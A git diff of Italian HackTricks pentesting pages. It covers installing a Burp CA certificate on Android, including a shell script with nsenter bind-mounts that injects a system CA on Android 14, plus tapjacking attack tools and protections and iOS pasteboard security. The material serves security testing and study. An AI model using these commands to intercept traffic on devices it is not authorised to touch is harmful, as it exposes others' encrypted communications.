* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Su una Macchina Virtuale
|
||||
|
||||
Prima di tutto è necessario scaricare il certificato Der da Burp. Puoi farlo in _**Proxy**_ --> _**Opzioni**_ --> _**Importa/Esporta certificato CA**_
|
||||
Innanzitutto è necessario scaricare il certificato Der da Burp. Puoi farlo in _**Proxy**_ --> _**Opzioni**_ --> _**Importa/Esporta certificato CA**_
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
|
@ -29,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Quindi, per **configurare il certificato di Burp**, procedi come segue:
|
||||
Quindi, per **configurare il certificato di Burp**, eseguire:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -48,35 +53,35 @@ Una volta che la **macchina ha finito di riavviarsi**, il certificato di Burp sa
|
|||
|
||||
## Utilizzando Magisc
|
||||
|
||||
Se hai **eseguito il root del tuo dispositivo con Magisc** (forse un emulatore), e non riesci a seguire i **passaggi precedenti** per installare il certificato di Burp perché il **filesystem è in sola lettura** e non puoi rimontarlo in scrittura, c'è un altro modo.
|
||||
Se hai **eseguito il root del tuo dispositivo con Magisc** (forse un emulatore), e non riesci a seguire i **passaggi precedenti** per installare il certificato Burp perché il **filesystem è in sola lettura** e non puoi montarlo nuovamente in scrittura, c'è un altro modo.
|
||||
|
||||
Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi:
|
||||
|
||||
1. **Installare un certificato CA**: Basta **trascinare e rilasciare** il certificato DER di Burp **cambiando l'estensione** in `.crt` nel cellulare in modo che sia memorizzato nella cartella Download e vai su `Installa un certificato` -> `Certificato CA`
|
||||
1. **Installare un certificato CA**: Basta **trascinare e rilasciare** il certificato Burp DER **cambiando l'estensione** in `.crt` sul cellulare in modo che sia memorizzato nella cartella Download e andare su `Installa un certificato` -> `Certificato CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifica che il certificato sia stato memorizzato correttamente andando su `Credenziali attendibili` -> `UTENTE`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Renderlo attendibile dal sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **trascinalo e rilascialo** nel telefono, vai all'app **Magics** nel telefono nella sezione **`Moduli`**, clicca su **`Installa da archivio`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
|
||||
2. **Renderlo attendibile dal sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **trascinalo e rilascialo** nel telefono, vai all'app Magics sul telefono nella sezione **`Moduli`**, clicca su **`Installa da archivio`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Dopo il riavvio, vai su `Credenziali attendibili` -> `SISTEMA` e verifica che il certificato di Postswigger sia presente
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Dopo Android 14
|
||||
|
||||
Nell'ultima versione di Android 14, si è osservato un cambiamento significativo nella gestione dei certificati di Autorità di Certificazione (CA) attendibili dal sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata su tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura.
|
||||
Nell'ultima versione di Android 14, è stato osservato un cambiamento significativo nella gestione dei certificati di Autorità di Certificazione (CA) fidati dal sistema. In precedenza, questi certificati erano situati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata su tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura.
|
||||
|
||||
I tentativi di rimontare il percorso **APEX cacerts** in scrittura si scontrano con un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un sistema di file temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di sistema di file. Questa resilienza è dovuta alla configurazione del mount **`/apex`** con propagazione PRIVATA, garantendo che le modifiche all'interno della directory **`/apex`** non influenzino altri processi.
|
||||
I tentativi di rimontare il percorso **APEX cacerts** come scrivibile si scontrano con un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un sistema di file temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di sistema di file. Questa resilienza è dovuta alla configurazione del mount **`/apex`** con propagazione PRIVATA, garantendo che le modifiche all'interno della directory **`/apex`** non influenzino altri processi.
|
||||
|
||||
L'inizializzazione di Android coinvolge il processo `init`, che, avviando il sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi delle applicazioni con un nuovo namespace di mount che include un mount privato **`/apex`**, isolando così le modifiche a questa directory da altri processi.
|
||||
L'inizializzazione di Android coinvolge il processo `init`, che, all'avvio del sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi delle applicazioni con un nuovo namespace di mount che include un mount privato **`/apex`**, isolando così le modifiche a questa directory da altri processi.
|
||||
|
||||
Tuttavia, esiste un workaround per coloro che hanno bisogno di modificare i certificati CA attendibili dal sistema all'interno della directory **`/apex`**. Questo comporta il rimontaggio manuale di **`/apex`** per rimuovere la propagazione PRIVATA, rendendolo così scrivibile. Il processo include la copia dei contenuti di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo in sola lettura, e quindi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede un'azione rapida per evitare crash di sistema. Per garantire l'applicazione su tutto il sistema di queste modifiche, si consiglia di riavviare il `system_server`, che riavvia efficacemente tutte le applicazioni e porta il sistema a uno stato coerente.
|
||||
Tuttavia, esiste un workaround per coloro che hanno bisogno di modificare i certificati CA fidati dal sistema all'interno della directory **`/apex`**. Questo comporta il rimontaggio manuale di **`/apex`** per rimuovere la propagazione PRIVATA, rendendolo così scrivibile. Il processo include la copia dei contenuti di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo in sola lettura, e quindi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede un'azione rapida per evitare crash di sistema. Per garantire l'applicazione di queste modifiche su tutto il sistema, si consiglia di riavviare il `system_server`, che riavvia efficacemente tutte le applicazioni e porta il sistema a uno stato coerente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,18 +141,18 @@ echo "System certificate injected"
|
|||
```
|
||||
### Bind-mounting tramite NSEnter
|
||||
|
||||
1. **Configurazione di una directory scrivibile**: Inizialmente, viene stabilita una directory scrivibile montando un `tmpfs` sopra la directory esistente dei certificati di sistema non-APEX. Questo viene realizzato con il seguente comando:
|
||||
1. **Impostazione di una directory scrivibile**: Inizialmente, viene stabilita una directory scrivibile montando un `tmpfs` sulla directory esistente dei certificati di sistema non APEX. Questo viene realizzato con il seguente comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparazione dei certificati CA**: Dopo aver configurato la directory scrivibile, i certificati CA che si intende utilizzare dovrebbero essere copiati in questa directory. Ciò potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare di conseguenza i permessi e le etichette SELinux di questi certificati.
|
||||
2. **Preparazione dei certificati CA**: Dopo aver configurato la directory scrivibile, i certificati CA che si intende utilizzare dovrebbero essere copiati in questa directory. Ciò potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare i permessi e le etichette SELinux di questi certificati di conseguenza.
|
||||
3. **Bind Mounting per Zygote**: Utilizzando `nsenter`, si entra nel namespace di mount di Zygote. Zygote, essendo il processo responsabile del lancio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate in seguito utilizzino i certificati CA appena configurati. Il comando utilizzato è:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Questo assicura che ogni nuova app avviata rispetterà la configurazione aggiornata dei certificati CA.
|
||||
Questo garantisce che ogni nuova app avviata rispetterà la configurazione aggiornata dei certificati CA.
|
||||
|
||||
4. **Applicare le Modifiche alle App in Esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, `nsenter` viene nuovamente utilizzato per entrare singolarmente nello spazio dei nomi di ciascuna app e eseguire un bind mount simile. Il comando necessario è:
|
||||
4. **Applicare le modifiche alle app in esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, `nsenter` viene nuovamente utilizzato per entrare singolarmente nello spazio dei nomi di ciascuna app e eseguire un bind mount simile. Il comando necessario è:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
@ -156,3 +161,21 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
## Riferimenti
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,36 +2,41 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repository di GitHub**.
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Informazioni di base**
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tapjacking** è un attacco in cui un'applicazione **malintenzionata** viene avviata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente a interagire con essa, mentre sta passando l'interazione all'app vittima.\
|
||||
In pratica, **acceca l'utente facendogli credere di eseguire azioni sull'app vittima**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Informazioni di Base**
|
||||
|
||||
**Tapjacking** è un attacco in cui un'applicazione **maliziosa** viene avviata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'applicazione vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente affinché interagisca con essa, mentre passa l'interazione all'applicazione vittima.\
|
||||
Di fatto, **acceca l'utente dal sapere che sta effettivamente eseguendo azioni sull'applicazione vittima**.
|
||||
|
||||
### Rilevamento
|
||||
|
||||
Per individuare le app vulnerabili a questo attacco, è necessario cercare le **attività esportate** nel manifesto di Android (nota che un'attività con un intent-filter viene automaticamente esportata per impostazione predefinita). Una volta trovate le attività esportate, **verificare se richiedono qualche permesso**. Questo perché **l'applicazione malintenzionata avrà bisogno anche di quel permesso**.
|
||||
Per individuare le app vulnerabili a questo attacco, è necessario cercare le **attività esportate** nel manifesto Android (nota che un'attività con un intent-filter viene automaticamente esportata per impostazione predefinita). Una volta trovate le attività esportate, **verificare se richiedono qualche permesso**. Questo perché la **applicazione maliziosa avrà bisogno anche di quel permesso**.
|
||||
|
||||
### Protezione
|
||||
|
||||
#### Android 12 (API 31,32) e versioni successive
|
||||
#### Android 12 (API 31,32) e superiori
|
||||
|
||||
[**Secondo questa fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** gli attacchi di tapjacking sono automaticamente prevenuti da Android dalla versione 12 (API 31 e 30) in poi. Quindi, anche se l'applicazione è vulnerabile, **non sarà possibile sfruttarla**.
|
||||
[**Secondo questa fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** gli attacchi di tapjacking sono automaticamente impediti da Android da Android 12 (API 31 e 30) in poi. Quindi, anche se l'applicazione è vulnerabile, **non sarà possibile sfruttarla**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Se **`android:filterTouchesWhenObscured`** è impostato su **`true`**, la `View` non riceverà toccate quando la finestra della vista è oscurata da un'altra finestra visibile.
|
||||
Se **`android:filterTouchesWhenObscured`** è impostato su **`true`**, la `View` non riceverà tocchi ogni volta che la finestra della vista è oscurata da un'altra finestra visibile.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
|
@ -49,27 +54,31 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
L'applicazione Android più **recente** che esegue un attacco Tapjacking (+ invocando prima un'attività esportata dell'applicazione attaccata) può essere trovata su: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
La più **recente applicazione Android** che esegue un attacco Tapjacking (+ invocando prima un'attività esportata dell'applicazione attaccata) si trova in: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Segui le **istruzioni nel file README per usarla**.
|
||||
Segui le istruzioni del **README per usarlo**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporre altre attività per eseguire un attacco di clickjacking, può essere trovato su [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna a compilare l'apk).
|
||||
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per posizionarsi sopra altre attività per eseguire un attacco di clickjacking, si trova in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' datato, buona fortuna a compilare l'apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Sembra che questo progetto non sia più mantenuto e questa funzionalità non funzioni correttamente.
|
||||
Sembra che questo progetto non sia più mantenuto e questa funzionalità non funzioni più correttamente
|
||||
{% endhint %}
|
||||
|
||||
Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione malevola per testare possibili vulnerabilità di **Tapjacking**.
|
||||
Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione dannosa per testare possibili vulnerabilità di **Tapjacking**.
|
||||
|
||||
La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento dello sviluppatore Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> A volte è essenziale che un'applicazione sia in grado di verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, ad esempio concedere una richiesta di autorizzazione, effettuare un acquisto o fare clic su un annuncio. Purtroppo, un'applicazione malintenzionata potrebbe cercare di ingannare l'utente a eseguire queste azioni, ignaro, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio del tocco che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
|
||||
> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o fare clic su un annuncio. Purtroppo, un'applicazione malintenzionata potrebbe cercare di ingannare l'utente nell'eseguire queste azioni, inconsapevolmente, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei touch che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
|
||||
>
|
||||
> Per abilitare il filtraggio del tocco, chiama [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o imposta l'attributo di layout android:filterTouchesWhenObscured su true. Quando è abilitato, il framework scarterà i tocchi ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà tocchi ogni volta che appare una toast, una finestra di dialogo o un'altra finestra sopra la finestra della vista.
|
||||
> Per abilitare il filtraggio dei touch, chiamare [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o impostare l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i touch ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà touch ogni volta che compare una toast, una finestra di dialogo o un'altra finestra sopra la finestra della vista.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -77,10 +86,10 @@ La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**repository di HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,51 +1,56 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
La condivisione dei dati all'interno e tra le applicazioni sui dispositivi iOS è facilitata dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è diviso in due categorie principali:
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **General pasteboard di sistema**: viene utilizzato per la condivisione dei dati con **qualsiasi applicazione** ed è progettato per persistere i dati anche dopo il riavvio del dispositivo o la disinstallazione dell'applicazione, una funzionalità disponibile da iOS 10.
|
||||
- **Pasteboard personalizzati / con nome**: sono specifici per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID del team e non sono progettati per persistere oltre la durata del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Le **considerazioni sulla sicurezza** svolgono un ruolo significativo nell'utilizzo dei pasteboard. Ad esempio:
|
||||
- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni dell'app per accedere al **pasteboard**.
|
||||
- Per mitigare il rischio di monitoraggio non autorizzato del pasteboard in background, l'accesso è limitato quando l'applicazione è in primo piano (da iOS 9).
|
||||
- L'uso di pasteboard con nome persistente è sconsigliato a favore dei contenitori condivisi a causa delle preoccupazioni sulla privacy.
|
||||
- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite il pasteboard generale, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
|
||||
|
||||
